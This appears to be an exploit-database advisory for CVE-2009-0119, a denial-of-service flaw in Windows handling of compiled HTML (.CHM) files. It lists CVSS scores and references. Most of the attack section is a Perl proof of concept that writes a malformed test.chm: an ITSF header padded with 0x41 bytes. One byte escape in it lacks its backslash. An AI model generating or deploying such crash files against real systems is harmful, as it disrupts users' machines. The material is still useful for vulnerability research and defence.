MS Windows (.CHM File) Denial of Service (html compiled)

2009-01-15 / 2009-01-16

Credit: Anon

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-0119

CWE: CWE-119

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

################################################################################################################################
#MS Windows .CHM Denial of Service (html compiled)
#
##########################################################################################################################################
#!/usr/bin/perl

use strict;

my $chm =
"\x49\x54\x53\x46\x03\x00\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x2d\x83\xe7\x69\x09".
"\x18\x00\x00\x10\xfd\x01\x7c\xaa\x7b\xd0\x11\x9e\x0c\x00\xa0\xc9\x22\xe6\xec\x11".
"\xfd\x01\x7c\xaa\x7b\xd0\x11\x9e\x0c\x00\xa0\xc9\x22\xe6\xec\x60\x00\x00\x00\x00".
"\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00\x54".
"\x10\x00\x00\x00\x00\x00\x00\xcc\x10\x00\x00\x00\x00\x00\x00\xfe\x01\x00\x00\x00".
"\x00\x00\x00\xb8\x46\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49".
"\x54\x53\x50\x01\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
open(out, "> test.chm");
binmode(out);
print (out $chm);
close(out);

References:

http://www.securityfocus.com/bid/33204

http://www.milw0rm.com/exploits/7720

See this note in RAW Version

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MS Windows (.CHM File) Denial of Service (html compiled)

References:

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